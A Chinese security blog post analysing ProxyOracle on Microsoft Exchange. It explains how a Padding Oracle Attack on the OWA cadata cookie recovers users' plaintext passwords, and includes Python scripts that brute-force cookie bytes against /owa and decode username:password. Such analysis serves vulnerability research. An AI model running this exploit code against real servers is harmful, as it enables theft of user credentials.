0x00 前言
在上篇文章《ProxyOracle利用分析1——CVE-2021-31195》介绍了获得用户Cookie信息的思路,本文将要介绍如何通过Padding Oracle Attack还原出用户明文口令。
0x01 简介
本文将要介绍以下内容:
◼实现思路
◼部分开源代码
0x02 实现思路
实现Padding Oracle Attack的前提条件:
1.获得密文和密文对应的IV(初始化向量)
2.能够触发密文的解密过程,且能够知道密文的解密结果
对应到Exchange上面,具体信息如下:
(1)获得密文和密文对应的IV(初始化向量)
Cookie信息中的cadata对应密文,cadataIV对应IV
(2)能够触发密文的解密过程,且能够知道密文的解密结果
我们通过dnsSpy反编译dll能够获得详细的解密过程,方法如下:
使用dnsSpy打开文件C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\bin\Microsoft.Exchange.FrontEndHttpProxy.dll
依次定位到Microsoft.Exchange.HttpProxy -> FbaModule -> ParseCadataCookies(HttpApplication httpApplication)
如下图:
得到触发密文解密过程的方法:
访问https://< url>/owa,发送GET数据包,Cookie中需要包含cadata、cadataTTL、cadataKey、cadataIV和cadataSig
密文解密结果的判断:
发送GET数据包后,默认进行302跳转,并在响应内容中标记是否解密成功。
解密结果可以通过查看LogonReason的定义进行判断。
如下图:
从这里看出,0代表None,这里为格式错误,1代表Logoff,2代表InvalidCredentials,3代表Timeout,4代表ChangePasswordLogoff
我们在尝试解密时,当reason=2,代表解密成功。
当reason=3时,代表Cookie已过期,此时无法实现Padding Oracle Attack。
注:Exchange的Cookie有效期为12小时。
0x03 部分开源代码
1.破解第0个分组的第8个字节
Python实现的完整示例代码如下:
#python3 import requests import base64 import sys import os import re import urllib3 urllib3.disable_warnings() def checkFirstByte(url, flag): url1 = "https://" + url + "/owa/" cadata = "wvutFMpkBXBpxdB5WNfcJ2a5WAJaxNX7hjaEx6jKudQXGf+ZDdfhVJfgFc01+dNkS33gBeQmWAkQYNfgnVSkfg==" cadataTTL = "tTjVGVGFfG9M0P6lAXm/jw==" cadataKey = "oGPdBcVgmUMiC+ZN49GZYyxkfH1jVzG0jWeJ95NRyAXEhr7PKOyLlNcqmgztUHfJnpYu94zFChAW+spsrAU9jbBLvXzP+pcQZMRQ8KjIdFiwcRtIOkE3iuf+v+e+Q+NhVeEghk9eW/jq0E/DjFL2MCC1yQUVEgf7JrXuQWbbocERT/GybkBIddq3RZAbRUWW33jFGWlGqJWTu/BBey3kD8Srhm5fvBC7rfh5MG9gdk6i/aLI/R3jt7khUyU4Vg3iZXYUljLpy1moX2YsZZw6CXuw4oI0t9B8RNfEAjg3LY6/HR06LjrLjSHGBGIWrVVpPcM+o8L9RUajM3WUoDGaSA==" cadataIV = "YJD/eLSxuErTgrWO9D2AGvH1HJZhQC9eRppXZAO9gPcRQN1vICq+oYL8lehL/Zyv9NZsliqCwtGxKR6bPx/ieBAqddiYIL4uTJ646XyCSrjNUwG1Ur+1Q3+Lo0fQzjtW3HUEzvbrqwph94aaqM5BGIBCaEOC/6300QI7MIKR/cyyBfzjYuMJODh8SFxFKcD0nYwHfADZiAmaY+Pk5TqWfOJu6aVDy8or7Ax714JPMzcQr1bvX3VQuMQPPXpRwL0jWyHIMgZMwxzhGkfM8kA66UjFGQ07eq3ZzrDNBprmYwmgAoXFiQEop9XWUdBk2Za/OGDW5gVJsk+gJmm4hz/CEw==" cadataSig = "jL1+ETV4nVd3cma3T75lr6t9OYKkkb4ksHsZkaGciCtxvjWDfJWo2b6oqHbWJ06W1EyN3j1fh+AYBWB95dJ892WWO027006tkgql+qoKovhkUOfk4QoT9jp3O2+xT6O14JiaNfEIZoIe6DbaEICaUYal/aiwvOvviuiL1DDqz+UTxIiWDehZ1qZ6XyPNu46sVr+G21fLijD1G51ULrxUtGH0JfU56mYMOFiUgyMCpw54h/kxtiBsT3qpho1hsG+sVKXLmYbdY7DJ8ELO12Ql4nhzx5lqzTpH6JFlt+MaHkx6ugR0p9wq/yKbH/0t+HQVSPGWwlrqiK6PkxZCNG4WPg==" cipher = base64.b64decode(cadata) bs = 16 if len(cipher) % bs != 0: raise ValueError("The length of `cipher` must be a multiple of `bs`") cipher_blocks = [] for i in range(0, len(cipher), bs): cipher_blocks.append(cipher[i: i + bs]) bytetempdata = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + bytes([flag]) bytecadata = bytetempdata + cipher_blocks[1] base64cadata = base64.b64encode(bytecadata).decode() cookie = { "cadata": base64cadata, "cadataTTL": cadataTTL, "cadataKey": cadataKey, "cadataIV": cadataIV, "cadataSig": cadataSig, } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" } response = requests.get(url1, headers=headers, cookies=cookie, verify = False, allow_redirects=False) if response.status_code == 302 and "reason" in response.text: pattern_name = re.compile(r"reason=(.*?)\">here") name = pattern_name.findall(response.text) print(name[0], end='') if name[0] == "2": print("\ndecrypt:") print(bytecadata) sys.exit(0) else: return False if __name__ == "__main__": for flag in range(0, 256): checkFirstByte("192.168.1.1", flag)
这里需要注意以下细节:
(1)0x00至0xFF遍历
for i in range(0, 256): i = bytes([i]) print(i)
(2)密文分组
分组长度为16
(3)发送GET请求时设置allow_redirects=False来禁用跳转
2.由填充明文到实际明文
在我们完成整个Padding Oracle Attack后,会得到一段填充的明文。
由填充明文到实际明文的完整示例代码如下:
#python3 import base64 import re def unpad(s): exe = re.findall("..", s.hex()) padding = int(exe[-1], 16) exe = exe[::-1] if padding == 0 or padding > 16: return 0 for i in range(padding): if int(exe[i], 16) != padding: return 0 return s[: -ord(s[len(s) - 1 :])] decipherbyte = b"V\x00z\x00d\x00D\x00p\x00Q\x00Y\x00X\x00N\x00z\x00d\x002\x009\x00y\x00Z\x00D\x00E\x00y\x00M\x00w\x00=\x00=\x00\x04\x04\x04\x04" decipher = unpad(decipherbyte) temp = "XX" + decipher.decode("utf_16_le") plaintext = "??" + base64.b64decode(temp)[2:].decode() print("[+] User: " + plaintext.split(":")[0]) print("[+] Password: " + plaintext.split(":")[1])
代码执行结果如下图:
这里需要注意以下细节:
(1)得到填充明文后需要使用PKCS7进行数据填充
(2)实际明文的格式为usename:password
虽然明文的前两字节无法破解,导致用户名显示不完整,但这不会造成影响,因为我们拿到的Cookie信息中,”lgn”显示了完整了用户名称。
0x04 小结
本文介绍了通过Padding Oracle Attack还原出用户明文口令的方法,关键代码已开源,剩余的部分留给读者自行完成。
如若转载,请注明原文地址